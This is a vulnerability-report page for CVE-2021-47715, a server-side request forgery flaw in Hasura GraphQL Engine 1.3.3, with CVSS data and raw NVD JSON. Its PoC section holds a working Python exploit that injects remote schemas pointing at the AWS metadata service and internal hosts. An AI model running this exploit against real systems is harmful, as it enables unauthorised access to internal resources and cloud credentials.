Security Vulnerability Report
中文
CVE-2021-47715 CVSS 5.3 MEDIUM

CVE-2021-47715

Published: 2025-12-22 22:15:59
Last Modified: 2025-12-26 16:57:55

Description

Hasura GraphQL 1.3.3 contains a server-side request forgery vulnerability that allows attackers to inject arbitrary remote schema URLs through the add_remote_schema endpoint. Attackers can exploit the vulnerability by sending crafted POST requests to the /v1/query endpoint with malicious URL definitions to potentially access internal network resources.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hasura:graphql_engine:1.3.3:*:*:*:*:*:*:* - VULNERABLE
Hasura GraphQL Engine < 1.3.3
Hasura GraphQL Engine 1.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2021-47715 PoC - Hasura GraphQL SSRF via Remote Schema Injection # Target: Hasura GraphQL Engine <= 1.3.3 target_url = "http://target-server:8080/v1/query" # Malicious payload for SSRF attack # This payload injects a crafted remote schema URL pointing to internal resources payload = { "type": "add_remote_schema", "args": { "name": "malicious_schema", "definition": { "url": "http://169.254.169.254/latest/meta-data/", # AWS metadata service "headers": { "Authorization": "{{metadata_token}}" }, "timeout_seconds": 10 }, "comment": "Injected malicious remote schema for SSRF exploitation" } } # Alternative payload targeting internal services payload_internal = { "type": "add_remote_schema", "args": { "name": "internal_probe", "definition": { "url": "http://internal-admin.local:8080/admin/api", "timeout_seconds": 5 } } } def exploit_ssrf(target, payload): """Send malicious request to exploit SSRF vulnerability""" headers = { "Content-Type": "application/json", "X-Hasura-Admin-Secret": "" # Add admin secret if required } try: response = requests.post(target, json=payload, headers=headers, timeout=30) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("[*] Exploiting CVE-2021-47715: Hasura GraphQL SSRF") exploit_ssrf(target_url, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47715", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:15:59.093", "lastModified": "2025-12-26T16:57:55.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hasura GraphQL 1.3.3 contains a server-side request forgery vulnerability that allows attackers to inject arbitrary remote schema URLs through the add_remote_schema endpoint. Attackers can exploit the vulnerability by sending crafted POST requests to the /v1/query endpoint with malicious URL definitions to potentially access internal network resources."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hasura:graphql_engine:1.3.3:*:*:*:*:*:*:*", "matchCriteriaId": "8E8F422D-10A0-469B-864D-D91498386D84"}]}]}], "references": [{"url": "https://github.com/hasura/graphql-engine", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/49791", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/hasura-graphql-server-side-request-forgery-via-remote-schema-injection", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}